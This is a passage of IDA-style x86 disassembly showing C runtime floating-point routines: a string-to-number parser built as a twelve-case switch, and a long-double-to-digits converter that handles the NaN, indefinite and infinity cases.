		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBB8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBB8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBB8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBB4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBB8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBB4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBB4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBB4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBB4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
